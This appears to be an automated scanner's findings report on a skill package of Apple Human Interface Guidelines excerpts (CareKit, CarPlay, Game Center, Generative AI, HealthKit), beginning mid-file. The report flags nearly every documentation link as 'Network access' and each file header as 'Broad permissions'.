    CareKit 2.0 contains two projects, CareKit UI and CareKit Store. CareKit UI provides a wide variety of prebuilt views you can use to create a custom CareKit app. CareKit Store defines a database scheme that incorporates CareKit entities — s
  • Network accessline 15
    ## [Data and privacy](https://developer.apple.com/design/human-interface-guidelines/carekit#Data-and-privacy)
  • Network accessline 19
    **Provide a coherent privacy policy.** During the app submission process, you must provide a URL to a clearly stated privacy policy, so that people can view the policy when they click the link in the App Store page for your app. For develop
  • Network accessline 21
    In addition to the data that people enter into your CareKit app, you may be able to access data through iOS features and capabilities. You must receive people’s permission before accessing data through these features, and you must protect p
  • Network accessline 23
    ### [HealthKit integration](https://developer.apple.com/design/human-interface-guidelines/carekit#HealthKit-integration)
  • Network accessline 27
    **Request access to health data only when you need it.** It makes sense to request access to weight information when people log their weight, for example, but not immediately after your app launches. When your request is clearly related to 
  • Network accessline 33
    For related design guidance, see [HealthKit](https://developer.apple.com/design/human-interface-guidelines/healthkit). For developer guidance, see [HealthKit](https://developer.apple.com/documentation/HealthKit).
  • Network accessline 35
    ### [Motion data](https://developer.apple.com/design/human-interface-guidelines/carekit#Motion-data)
  • Network accessline 41
    For developer guidance, see [Core Motion](https://developer.apple.com/documentation/CoreMotion).
  • Network accessline 43
    ### [Photos](https://developer.apple.com/design/human-interface-guidelines/carekit#Photos)
  • Network accessline 47
    For developer guidance, see [`UIImagePickerController`](https://developer.apple.com/documentation/UIKit/UIImagePickerController).
  • Network accessline 49
    ### [ResearchKit integration](https://developer.apple.com/design/human-interface-guidelines/carekit#ResearchKit-integration)
  • Network accessline 53
    For related design guidance, see [ResearchKit](https://developer.apple.com/design/human-interface-guidelines/researchkit). For developer guidance, see [Research & Care > Developers](https://www.researchandcare.org/developers/).
  • Network accessline 55
    ## [CareKit views](https://developer.apple.com/design/human-interface-guidelines/carekit#CareKit-views)
  • Network accessline 61
    Category| Purpose   ---|---   [Tasks](https://developer.apple.com/design/human-interface-guidelines/carekit#Tasks)| Present tasks, like taking medication or doing physical therapy. Support logging of patient symptoms and other data.
  • Network accessline 62
    ---|---   [Tasks](https://developer.apple.com/design/human-interface-guidelines/carekit#Tasks)| Present tasks, like taking medication or doing physical therapy. Support logging of patient symptoms and other data.   [Charts](https://develope
  • Network accessline 63
    [Tasks](https://developer.apple.com/design/human-interface-guidelines/carekit#Tasks)| Present tasks, like taking medication or doing physical therapy. Support logging of patient symptoms and other data.
  • Network accessline 64
    [Charts](https://developer.apple.com/design/human-interface-guidelines/carekit#Charts)| Display graphical data that can help people understand how their treatment is progressing.
  • Network accessline 65
    [Contact views](https://developer.apple.com/design/human-interface-guidelines/carekit#Contact-views)| Display contact information. Support communication through phone, message, and email, and link to a map of the contact’s location.
  • Network accessline 67
    ![A screenshot of a CareKit app screen on iPhone that shows completed and uncompleted days, a medication task, a chart that compares the patient's nausea with their medication intake, and a logging task the patient can use to log each occur
  • Network accessline 71
    ![A screenshot of a CareKit app screen on iPhone that shows contact information for two doctors, including buttons for phone, message, email, and map directions.](https://docs-assets.developer.apple.com/published/0f6c59a217b3fdb5ca70493daeb
  • Network accessline 77
    ![An illustration of a CareKit task view. Callouts indicate the header area at the top of the view, which contains the title on the left and an optional disclosure indicator on the right. A subview area below the header includes circular ch
  • Network accessline 81
    ### [Tasks](https://developer.apple.com/design/human-interface-guidelines/carekit#Tasks)
  • Network accessline 98
    ![An illustration of a task for taking a single dose of medicine at a specific time of day. The filled-in circle and checkmark indicate that the task is complete.](https://docs-assets.developer.apple.com/published/a85ed842da7f8c4866c33137ad
  • Network accessline 102
    ![An illustration of a task for taking a single dose of medicine at a specific time of day. The task includes instructions for how to take the dose. Below the instructions, the task shows the word completed and a checkmark to indicate that 
  • Network accessline 106
    ![An illustration of a task for logging incidents of nausea. The task's header area includes a title, a time range, and a disclosure button to display additional details. The subview area includes instructions, a Log button, and a time comp
  • Network accessline 110
    ![An illustration of a task that directs the patient to take a medicine at breakfast, lunch, and dinner. Filled-in circles containing checkmarks next to breakfast and lunch show that the patient has taken the first two doses.](https://docs-
  • Network accessline 114
    ![An illustration of a task that consists of three circles that represent three doses of a medicine. The first two circles are filled in and contain checkmarks, indicating that the patient has already taken two doses.](https://docs-assets.d
  • Network accessline 116
    **Consider using color to reinforce the meaning of task items.** Color can be a good way to help people understand information at a glance. For example, you could use one color for medications and a different color for physical activities. 
  • Network accessline 122
    ### [Charts](https://developer.apple.com/design/human-interface-guidelines/carekit#Charts)
  • Network accessline 128
    ![An illustration of a bar chart with days of the week on the x-axis and dosage numbers on the y-axis. The bar on Thursday reaches a value of two on the y-axis, indicating that the medicine was taken twice that day.](https://docs-assets.dev
  • Network accessline 130
    ![An illustration of a scatter chart with days of the week on the x-axis and dosage numbers on the y-axis. A dot on Thursday reaches a value of two on the y-axis, indicating that the medicine was taken twice that day.](https://docs-assets.d
  • Network accessline 132
    ![An illustration of a line chart with days of the week on the x-axis and dosage numbers on the y-axis. The line is at zero on the y-axis for all days but Thursday, where it reaches a value of two, indicating that the medicine was taken twi
  • Network accessline 138
    **Use distinct colors.** In general, avoid using different shades of the same color to mean different things. Also ensure that you use colors with sufficient contrast. For related guidance, see [Accessibility](https://developer.apple.com/de
  • Network accessline 148
    For developer guidance, see [CareKit > Chart Interfaces](https://carekit-apple.github.io/CareKit/documentation/carekit/chart-interfaces). To learn about ResearchKit charts, see the [ResearchKit GitHub project](https://github.com/ResearchKit
  • Network accessline 150
    ### [Contact views](https://developer.apple.com/design/human-interface-guidelines/carekit#Contact-views)
  • Network accessline 156
    ![An illustration of a simple contact view that displays a person glyph, followed by a doctor's name and practice type, and a disclosure button to display additional information.](https://docs-assets.developer.apple.com/published/4e1f4b08ca
  • Network accessline 158
    ![An illustration of a detailed contact view that displays a person glyph, followed by a doctor's name and practice type in a header area. In a subview area, the view displays information about the doctor, and buttons for calling, messaging
  • Network accessline 162
    ## [Notifications](https://developer.apple.com/design/human-interface-guidelines/carekit#Notifications)
  • Network accessline 164
    Notifications can tell people when it’s time to take medication or complete a task, and badging your app icon can show that there’s an unread message from a caregiver. Apple Watch can also display a notification from your app; for guidance,
  • Network accessline 170
    ## [Symbols and branding](https://developer.apple.com/design/human-interface-guidelines/carekit#Symbols-and-branding)
  • Network accessline 176
    In a grid view, you might want to display custom symbols that are relevant to the unique content and experience in your app. You could use symbols to indicate the grouping of tasks; for example, a pill to represent medication tasks, or a pe
  • Network accessline 191
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/carekit#Platform-considerations)
  • Network accessline 195
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/carekit#Resources)
  • Network accessline 197
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/carekit#Related)
  • Network accessline 199
    [Research & Care > CareKit](https://www.researchandcare.org/carekit/)
  • Network accessline 201
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/carekit#Developer-documentation)
  • Network accessline 203
    [CareKit](https://carekit-apple.github.io/CareKit/documentation/carekit)
  • Network accessline 205
    [Research & Care > Developers](https://www.researchandcare.org/developers/)
  • Network accessline 207
    [Protecting user privacy](https://developer.apple.com/documentation/HealthKit/protecting-user-privacy) — HealthKit
  • Network accessline 209
    [HealthKit](https://developer.apple.com/documentation/HealthKit)
  • Network accessline 211
    [ResearchKit GitHub project](https://github.com/ResearchKit/ResearchKit)
  • Network accessline 213
    #### [Videos](https://developer.apple.com/design/human-interface-guidelines/carekit#Videos)
  • Network accessline 215
    [![](https://devimages-cdn.apple.com/wwdc-services/images/49/196C46B0-DF68-4947-B211-4FEECE415A6E/3408_wide_250x141_1x.jpg) What's new in CareKit ](https://developer.apple.com/videos/play/wwdc2020/10151)
  • Network accessline 217
    [![](https://devimages-cdn.apple.com/wwdc-services/images/119/EAFF830B-8468-49BA-A5DC-D3A3E8B7F463/4960_wide_250x141_1x.jpg) Build a research and care app, part 1: Setup onboarding ](https://developer.apple.com/videos/play/wwdc2021/10068)
  • Network accessline 219
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/carekit#Change-log)

skills/hig-technologies/references/carplay.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "CarPlay | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/carplay
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/carplay
  • Network accessline 9
    ![A sketch of the CarPlay icon. The image is overlaid with rectangular and circular grid lines and is tinted blue to subtly reflect the blue in the original six-color Apple logo.](https://docs-assets.developer.apple.com/published/a1087b54e0
  • Network accessline 17
    To learn how to create various types of CarPlay apps and use the system-provided templates, see [CarPlay App Programming Guide](https://developer.apple.com/carplay/documentation/CarPlay-App-Programming-Guide.pdf). The general design guideli
  • Network accessline 19
    ## [iPhone interactions](https://developer.apple.com/design/human-interface-guidelines/carplay#iPhone-interactions)
  • Network accessline 29
    ### [Audio](https://developer.apple.com/design/human-interface-guidelines/carplay#Audio)
  • Network accessline 43
    ## [Layout](https://developer.apple.com/design/human-interface-guidelines/carplay#Layout)
  • Network accessline 60
    ## [Color](https://developer.apple.com/design/human-interface-guidelines/carplay#Color)
  • Network accessline 72
    **Choose colors that help you communicate effectively with everyone.** Different people see and interpret colors differently. For guidance on using colors in ways that people appreciate, see [Inclusive color](https://developer.apple.com/des
  • Network accessline 74
    ## [Icons and images](https://developer.apple.com/design/human-interface-guidelines/carplay#Icons-and-images)
  • Network accessline 90
    ## [Error handling](https://developer.apple.com/design/human-interface-guidelines/carplay#Error-handling)
  • Network accessline 96
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/carplay#Platform-considerations)
  • Network accessline 100
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/carplay#Resources)
  • Network accessline 102
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/carplay#Related)
  • Network accessline 104
    [CarPlay](http://developer.apple.com/carplay/)
  • Network accessline 106
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/carplay#Developer-documentation)
  • Network accessline 108
    [CarPlay App Programming Guide](https://developer.apple.com/carplay/documentation/CarPlay-App-Programming-Guide.pdf)
  • Network accessline 110
    #### [Videos](https://developer.apple.com/design/human-interface-guidelines/carplay#Videos)
  • Network accessline 112
    [![](https://devimages-cdn.apple.com/wwdc-services/images/3055294D-836B-4513-B7B0-0BC5666246B0/3AE21C44-8831-4C0A-BCBE-68C437FB8FC8/9903_wide_250x141_1x.jpg) Turbocharge your app for CarPlay ](https://developer.apple.com/videos/play/wwdc202
  • Network accessline 114
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/carplay#Change-log)

skills/hig-technologies/references/game-center.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Game Center | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/game-center
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/game-center
  • Network accessline 9
    ![A sketch of the Game Center icon. The image is overlaid with rectangular and circular grid lines and is tinted blue to subtly reflect the blue in the original six-color Apple logo.](https://docs-assets.developer.apple.com/published/4df10f
  • Network accessline 24
    You can add Game Center into your game using the GameKit framework, which provides a full-featured UI that makes it easy for players to access and view their Game Center data within your game. Alternatively, you can also use GameKit to pres
  • Network accessline 26
    ## [Accessing Game Center](https://developer.apple.com/design/human-interface-guidelines/game-center#Accessing-Game-Center)
  • Network accessline 30
    ### [Integrating the access point](https://developer.apple.com/design/human-interface-guidelines/game-center#Integrating-the-access-point)
  • Network accessline 32
    The Game Center _access point_ is an Apple-designed UI element that lets players view their Game Center profile and information without leaving your game. For developer guidance, see [Adding an access point to your game](https://developer.a
  • Network accessline 34
    ![An iPhone screenshot of the game The Coast, on the title screen. The access point control, a circular button with a diagonal rocket symbol, sits in the upper corner on the leading edge.](https://docs-assets.developer.apple.com/published/9
  • Network accessline 38
    ![An illustration composed of an iPhone screenshot and an iPad screenshot, both of the game The Coast, with the Game Overlay appearing over the top of each. In the iPhone screenshot the overlay covers the entire screen, while in the iPad sc
  • Network accessline 48
    In visionOS, the locations of the access point vary based on game type, such as immersive or volume-based. For developer guidance, see [Adding an access point to your game](https://developer.apple.com/documentation/GameKit/adding-an-access-
  • Network accessline 52
    ### [Using custom UI](https://developer.apple.com/design/human-interface-guidelines/game-center#Using-custom-UI)
  • Network accessline 56
    **Use the artwork Game Center provides in custom links.** When referencing Game Center features in custom UI, use the official artwork from [Apple Design Resources](https://developer.apple.com/design/resources/#technologies). Preserve the a
  • Network accessline 69
    ## [Achievements](https://developer.apple.com/design/human-interface-guidelines/game-center#Achievements)
  • Network accessline 71
    Achievements give players an added incentive to stay engaged with your game. Game Center achievements appear in a collectible card format that highlights the player’s progress and showcases your artwork. For developer guidance, see [Rewardi
  • Network accessline 73
    ![An iPhone screenshot of the game The Coast with the Game Overlay open, showing the Achievements overview screen.](https://docs-assets.developer.apple.com/published/026715959db42c83de8cc04dc399dd03/games-achievement-overlay%402x.png)
  • Network accessline 77
    ![An iPhone screenshot of the game The Coast with the Game Overlay open, showing the detail view of a single achievement.](https://docs-assets.developer.apple.com/published/fa2b92d24d82b3cae0748a731df621e8/games-achievement-overlay-detail%4
  • Network accessline 81
    ### [Integrating achievements into your game](https://developer.apple.com/design/human-interface-guidelines/game-center#Integrating-achievements-into-your-game)
  • Network accessline 89
    ![A diagram of an achievement card, with callouts indicating the achievement image, title, and description.](https://docs-assets.developer.apple.com/published/54e27c562164cbf32aff9722a4058bf0/games-achievement-anatomy%402x.png)
  • Network accessline 93
    ### [Creating achievement images](https://developer.apple.com/design/human-interface-guidelines/game-center#Creating-achievement-images)
  • Network accessline 104
    ![A diagram of the layout for an achievement image in iOS, iPadOS, macOS, and visionOS, with callouts indicating the image size and mask diameter.](https://docs-assets.developer.apple.com/published/ba7aed683c8f0f112ce7024ce5a9a34f/ios-achie
  • Network accessline 114
    ![A diagram of the layout for an achievement image in tvOS, with callouts indicating the image size and mask diameter.](https://docs-assets.developer.apple.com/published/1e98f3b125dd0babeb08bfbaf4873fed/tvos-achievement-image-layout%402x.pn
  • Network accessline 124
    ## [Leaderboards](https://developer.apple.com/design/human-interface-guidelines/game-center#Leaderboards)
  • Network accessline 126
    Leaderboards are a great way to encourage friendly competition within your game. When you adopt Game Center, players can easily check their ranking against friends and global players as well as receive notifications when their friends chall
  • Network accessline 128
    ![An iPhone screenshot of the game The Coast with the Game Overlay open, showing the Leaderboards overview screen.](https://docs-assets.developer.apple.com/published/63770530177075f25554a9eefa82a959/games-leaderboards-overlay%402x.png)
  • Network accessline 132
    ![An iPhone screenshot of the game The Coast with the Game Overlay open, showing the detail view of a single leaderboard.](https://docs-assets.developer.apple.com/published/825cea7230ad7958b60f681aef7bb407/games-leaderboards-detail%402x.png
  • Network accessline 170
    For games that run in iOS, iPadOS, and macOS, use a single image for your leaderboard image. For games that run in tvOS, provide a set of images that animate when the artwork is in focus. To learn more about focus effects, see [Focus and se
  • Network accessline 177
    ![A diagram of the layout for a leaderboard image in iOS, iPadOS, and macOS, with callouts indicating the image size and mask diameter.](https://docs-assets.developer.apple.com/published/a41db2a595bec653175fcfb13b50b9ed/leaderboard-image-la
  • Network accessline 187
    ![A diagram of the layout for a leaderboard image in tvOS, with callouts indicating the image size, focused size, and unfocused size.](https://docs-assets.developer.apple.com/published/631b5255803637a7084fe167f971810c/tvos-multi-layered-lea
  • Network accessline 202
    ## [Challenges](https://developer.apple.com/design/human-interface-guidelines/game-center#Challenges)
  • Network accessline 204
    Challenges turn single player activities into multiplayer experiences with friends. Challenges are built on top of leaderboards and allow players to connect with their friends and participate in competitions with time limits. For developer 
  • Network accessline 206
    ![An iPhone screenshot of the game The Coast with the Game Overlay open, showing the Challenges overview screen.](https://docs-assets.developer.apple.com/published/63176e29afb5351d511719cafdf1bb0d/games-challenges-overlay%402x.png)
  • Network accessline 210
    ![An iPhone screenshot of the game The Coast with the Game Overlay open, showing the detail view of a single challenge.](https://docs-assets.developer.apple.com/published/ddfb071869dd7577f3e43f955f1b6ce7/games-challenges-overlay-detail%402x
  • Network accessline 229
    ![A diagram of a challenge card, with callouts indicating the challenge title, artwork, and number of players, and the system-provided gradient at the bottom of the card.](https://docs-assets.developer.apple.com/published/73d82f1a3511b11cab
  • Network accessline 233
    ![A diagram of the layout for a challenge image, with callouts indicating the image size and cropped area.](https://docs-assets.developer.apple.com/published/3f26192095237c3c95276f37dd349ab6/games-challenge-image-specs%402x.png)
  • Network accessline 243
    ## [Multiplayer activities](https://developer.apple.com/design/human-interface-guidelines/game-center#Multiplayer-activities)
  • Network accessline 245
    Game Center supports both real-time and turn-based multiplayer activities that make it easy to connect players with friends or other players. Players can access multiplayer gameplay through party codes, the Game Overlay, the dashboard, or i
  • Network accessline 247
    ![An iPhone screenshot of the game The Coast with the Game Overlay open, showing the Multiplayer levels overview screen.](https://docs-assets.developer.apple.com/published/f89b2ebd744907258cc4543688d5d011/games-multiplayer-overlay%402x.png)
  • Network accessline 251
    ![An iPhone screenshot of the game The Coast with the Game Overlay open, showing the detail view of a single multiplayer level.](https://docs-assets.developer.apple.com/published/b96755c00a2049def7aa3ce15c11c544/games-multiplayer-overlay-de
  • Network accessline 266
    ![An iPhone screenshot of the game The Coast with the Game Overlay open, showing the in-game UI for setting up or joining a multiplayer activity using a custom code.](https://docs-assets.developer.apple.com/published/21aa655690fc4f5ec113e47
  • Network accessline 268
    **Support multiplayer activities through in-game UI.** The Game Overlay and Game Center dashboard help players find other people for a multiplayer match without leaving your game. Game Center’s default multiplayer interface lets a player in
  • Network accessline 270
    ![An iPhone screenshot of the game The Coast with the Game Overlay open, showing the in-game UI starting a multiplayer activity.](https://docs-assets.developer.apple.com/published/1b1d8dd189678fda25a18976d990b485/games-multiplayer-in-game-u
  • Network accessline 274
    ![A diagram of a multiplayer activity card, with callouts indicating the activity title, artwork, and number of players, and the system-provided gradient at the bottom of the card.](https://docs-assets.developer.apple.com/published/8f8b825c
  • Network accessline 276
    ![A diagram of the layout for a multiplayer activity image, with callouts indicating the image size and cropped area.](https://docs-assets.developer.apple.com/published/3f26192095237c3c95276f37dd349ab6/games-multiplayer-image-specs%402x.png
  • Network accessline 286
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/game-center#Platform-considerations)
  • Network accessline 290
    ### [tvOS](https://developer.apple.com/design/human-interface-guidelines/game-center#tvOS)
  • Network accessline 294
    ![A diagram of the layout for a tvOS dashboard image, with a callout indicating the image size.](https://docs-assets.developer.apple.com/published/438f3caaa842926ba5a0f54470c64373/tvos-dashboard-image%402x.png)
  • Network accessline 303
    ### [watchOS](https://developer.apple.com/design/human-interface-guidelines/game-center#watchOS)
  • Network accessline 307
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/game-center#Resources)
  • Network accessline 309
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/game-center#Related)
  • Network accessline 311
    [Designing for games](https://developer.apple.com/design/human-interface-guidelines/designing-for-games)
  • Network accessline 313
    [Game controls](https://developer.apple.com/design/human-interface-guidelines/game-controls)
  • Network accessline 315
    [Apple Design Resources](https://developer.apple.com/design/resources/#technologies)
  • Network accessline 317
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/game-center#Developer-documentation)
  • Network accessline 319
    [GameKit](https://developer.apple.com/documentation/GameKit)
  • Network accessline 321
    [Creating activities for your game](https://developer.apple.com/documentation/GameKit/creating-activities-for-your-game)
  • Network accessline 323
    [Creating engaging challenges from leaderboards](https://developer.apple.com/documentation/GameKit/creating-engaging-challenges-from-leaderboards)
  • Network accessline 325
    [Create games for Apple platforms](https://developer.apple.com/games/)
  • Network accessline 327
    [Game Porting Toolkit](https://developer.apple.com/games/game-porting-toolkit/)
  • Network accessline 329
    #### [Videos](https://developer.apple.com/design/human-interface-guidelines/game-center#Videos)
  • Network accessline 331
    [![](https://devimages-cdn.apple.com/wwdc-services/images/3055294D-836B-4513-B7B0-0BC5666246B0/0BEC1E9E-5221-48F9-853B-BEDA2BE23D63/9892_wide_250x141_1x.jpg) Get started with Game Center ](https://developer.apple.com/videos/play/wwdc2025/21
  • Network accessline 333
    [![](https://devimages-cdn.apple.com/wwdc-services/images/3055294D-836B-4513-B7B0-0BC5666246B0/0C96EE37-E8A0-46DB-88B3-3BF6C3F633DD/9893_wide_250x141_1x.jpg) Engage players with the Apple Games app ](https://developer.apple.com/videos/play/
  • Network accessline 335
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/game-center#Change-log)

skills/hig-technologies/references/generative-ai.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Generative AI | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/generative-ai
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/generative-ai
  • Network accessline 9
    ![A sketch of a pencil surrounded by sparkly stars, suggesting generative intelligence. The image is overlaid with rectangular and circular grid lines and is tinted blue to subtly reflect the blue in the original six-color Apple logo.](http
  • Network accessline 11
    Generative artificial intelligence uses [machine learning](https://developer.apple.com/design/human-interface-guidelines/machine-learning) models to create and transform text, images, and other content. Use it to offer novel, delightful fea
  • Network accessline 13
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/generative-ai#Best-practices)
  • Network accessline 19
    **Ensure an inclusive experience for all.** AI models learn from data and tend to favor the most common information. This may lead to harmful, unintended biases and stereotypes. Take extra care when designing your AI feature to consider how
  • Network accessline 25
    ## [Transparency](https://developer.apple.com/design/human-interface-guidelines/generative-ai#Transparency)
  • Network accessline 29
    **Set clear expectations about what your AI-powered feature can and can’t do.** Clarifying your experience’s capabilities and limitations helps people establish a mental model of your feature. For example, when you introduce a feature, you 
  • Network accessline 31
    ## [Privacy](https://developer.apple.com/design/human-interface-guidelines/generative-ai#Privacy)
  • Network accessline 35
    **Ask permission before using personal information and usage data.** Some interactions with an AI model may involve sensitive information, like personal details, messages, photos, and feature usage information. After obtaining permission, u
  • Network accessline 39
    ## [Models and datasets](https://developer.apple.com/design/human-interface-guidelines/generative-ai#Models-and-datasets)
  • Network accessline 41
    **Thoughtfully evaluate model capabilities.** There are different types of generative models, some of which possess general knowledge, while others are trained for specific tasks. It’s important to understand the capabilities of any model y
  • Network accessline 45
    ## [Inputs](https://developer.apple.com/design/human-interface-guidelines/generative-ai#Inputs)
  • Network accessline 53
    ## [Outputs](https://developer.apple.com/design/human-interface-guidelines/generative-ai#Outputs)
  • Network accessline 61
    **Factor processing time into your design.** _Latency_ is how much time it takes for a model to produce an output. Non-generative models, such as [people tracking in ARKit](https://developer.apple.com/documentation/arkit/capturing-body-moti
  • Network accessline 63
    **Consider offering alternate versions of results.** Depending on the design of your feature, it might work best to present a single result or multiple meaningfully different results from which people can choose. Offering people a choice ca
  • Network accessline 65
    ## [Continuous improvement](https://developer.apple.com/design/human-interface-guidelines/generative-ai#Continuous-improvement)
  • Network accessline 69
    **Let people share feedback on outputs.** Feedback can help you identify and respond to unexpected outcomes and new potential issues that arise despite thorough testing. Feedback also gives people a way to celebrate what they like best abou
  • Network accessline 73
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/generative-ai#Platform-considerations)
  • Network accessline 77
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/generative-ai#Resources)
  • Network accessline 79
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/generative-ai#Related)
  • Network accessline 81
    [Machine learning](https://developer.apple.com/design/human-interface-guidelines/machine-learning)
  • Network accessline 83
    [Inclusion](https://developer.apple.com/design/human-interface-guidelines/inclusion)
  • Network accessline 85
    [Accessibility](https://developer.apple.com/design/human-interface-guidelines/accessibility)
  • Network accessline 87
    [Privacy](https://developer.apple.com/design/human-interface-guidelines/privacy)
  • Network accessline 89
    [Loading](https://developer.apple.com/design/human-interface-guidelines/loading)
  • Network accessline 91
    [Acceptable Use Requirements for the Foundation Models Framework](https://developer.apple.com/apple-intelligence/acceptable-use-requirements-for-the-foundation-models-framework)
  • Network accessline 93
    #### [Videos](https://developer.apple.com/design/human-interface-guidelines/generative-ai#Videos)
  • Network accessline 95
    [![](https://devimages-cdn.apple.com/wwdc-services/images/3055294D-836B-4513-B7B0-0BC5666246B0/6F92E66E-52A5-4289-9F76-A3E6983F9250/10049_wide_250x141_1x.jpg) Explore prompt design & safety for on-device foundation models ](https://develope
  • Network accessline 97
    [![](https://devimages-cdn.apple.com/wwdc-services/images/3055294D-836B-4513-B7B0-0BC5666246B0/51620FBA-75C7-46B5-BCBA-800F38AEE3A5/10048_wide_250x141_1x.jpg) Discover machine learning & AI frameworks on Apple platforms ](https://developer.
  • Network accessline 99
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/generative-ai#Developer-documentation)
  • Network accessline 101
    [Apple Intelligence and machine learning](https://developer.apple.com/documentation/TechnologyOverviews/ai-machine-learning)
  • Network accessline 103
    [Foundation Models](https://developer.apple.com/documentation/FoundationModels)
  • Network accessline 105
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/generative-ai#Change-log)

skills/hig-technologies/references/healthkit.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "HealthKit | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/healthkit
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/healthkit
  • Network accessline 9
    ![A sketch of the HealthKit icon. The image is overlaid with rectangular and circular grid lines and is tinted blue to subtly reflect the blue in the original six-color Apple logo.](https://docs-assets.developer.apple.com/published/1ea6de75
  • Network accessline 19
    ![A screenshot of the Health app's summary screen on iPhone, showing current data for activity, active energy, stair speed, heart rate, resting energy, and stand minutes.](https://docs-assets.developer.apple.com/published/fdb416a7e3e60d832b
  • Network accessline 21
    For developer guidance, see [HealthKit](https://developer.apple.com/documentation/HealthKit).
  • Network accessline 23
    ## [Privacy protection](https://developer.apple.com/design/human-interface-guidelines/healthkit#Privacy-protection)
  • Network accessline 25
    You must request permission to access people’s data, and you must take all necessary steps to protect that data. After you receive permission, it’s essential to maintain people’s trust by clearly showing them how you use their data. For dev
  • Network accessline 27
    **Provide a coherent privacy policy.** During the app submission process, you must provide a URL to a clearly stated privacy policy, so that people can view the policy when they click the link in the App Store page for your app. For develop
  • Network accessline 29
    **Request access to health data only when you need it.** It makes sense to request access to weight information when people log their weight, for example, but not immediately after your app launches. When your request is clearly related to 
  • Network accessline 33
    ![A screenshot of a Health Access screen on iPhone, which asks for permission for an app to write and read mindful minute data.](https://docs-assets.developer.apple.com/published/68014b16fae04d2ed8dfeecee91a4c39/health-access-requests%402x.
  • Network accessline 37
    ## [Activity rings](https://developer.apple.com/design/human-interface-guidelines/healthkit#Activity-rings)
  • Network accessline 41
    ![A screenshot of the Activity app's History screen on iPhone, which shows daily activity rings progress for June and part of July.](https://docs-assets.developer.apple.com/published/26eb6fb57c43110b544e51e0760790d5/activity-months%402x.png
  • Network accessline 59
    For developer guidance, see [`HKActivityRingView`](https://developer.apple.com/documentation/HealthKitUI/HKActivityRingView).
  • Network accessline 61
    ## [Apple Health icon](https://developer.apple.com/design/human-interface-guidelines/healthkit#Apple-Health-icon)
  • Network accessline 63
    The Apple Health icon shows that an app works with HealthKit and the Health app. The following guidelines help you use the icon correctly. To learn how to refer to HealthKit and the Health app in copy and UI text, see [Editorial guidelines]
  • Network accessline 65
    ![A screenshot of an onboarding screen for an app named Eating Habits, which displays the Apple Health icon and text that describes how syncing health data from Eating Habits can help people manage their health. At the bottom of the screen 
  • Network accessline 67
    **Use only the Apple-provided icon.** Don’t create your own Apple Health icon design or attempt to mimic any Apple-provided designs. Download the Apple Health app icon from [Apple Design Resources](https://developer.apple.com/design/resourc
  • Network accessline 79
    **Don’t use the Apple Health icon within text or as a replacement for the terms _Health_ , _Apple Health_ , or _HealthKit_.** See [Editorial guidelines](https://developer.apple.com/design/human-interface-guidelines/healthkit#Editorial-guide
  • Network accessline 81
    **Don’t display Health app images or screenshots.** Like all Apple images, these designs are copyrighted and can’t appear in your app or marketing materials. You can include an Activity ring element in your app to display Move, Exercise, an
  • Network accessline 83
    ## [Editorial guidelines](https://developer.apple.com/design/human-interface-guidelines/healthkit#Editorial-guidelines)
  • Network accessline 93
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/healthkit#Platform-considerations)
  • Network accessline 97
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/healthkit#Resources)
  • Network accessline 99
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/healthkit#Related)
  • Network accessline 101
    [Works with Apple Health](https://developer.apple.com/health-fitness/works-with-apple-health/)
  • Network accessline 103
    [Activity rings](https://developer.apple.com/design/human-interface-guidelines/activity-rings)
  • Network accessline 105
    [Apple Design Resources](https://developer.apple.com/design/resources/#technologies)
  • Network accessline 107
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/healthkit#Developer-documentation)
  • Network accessline 109
    [HealthKit](https://developer.apple.com/documentation/HealthKit)
  • Network accessline 111
    [Protecting user privacy](https://developer.apple.com/documentation/HealthKit/protecting-user-privacy) — HealthKit
  • Network accessline 113
    #### [Videos](https://developer.apple.com/design/human-interface-guidelines/healthkit#Videos)
  • Network accessline 115
    [![](https://devimages-cdn.apple.com/wwdc-services/images/3055294D-836B-4513-B7B0-0BC5666246B0/7DE5718A-6B6C-41A6-A60B-2C9A6D7B7CE1/9855_wide_250x141_1x.jpg) Meet the HealthKit Medications API ](https://developer.apple.com/videos/play/wwdc2
  • Network accessline 117
    [![](https://devimages-cdn.apple.com/wwdc-services/images/3055294D-836B-4513-B7B0-0BC5666246B0/12499BF9-8217-4A56-81CA-5E7CB66904DD/9856_wide_250x141_1x.jpg) Track workouts with HealthKit on iOS and iPadOS ](https://developer.apple.com/vide
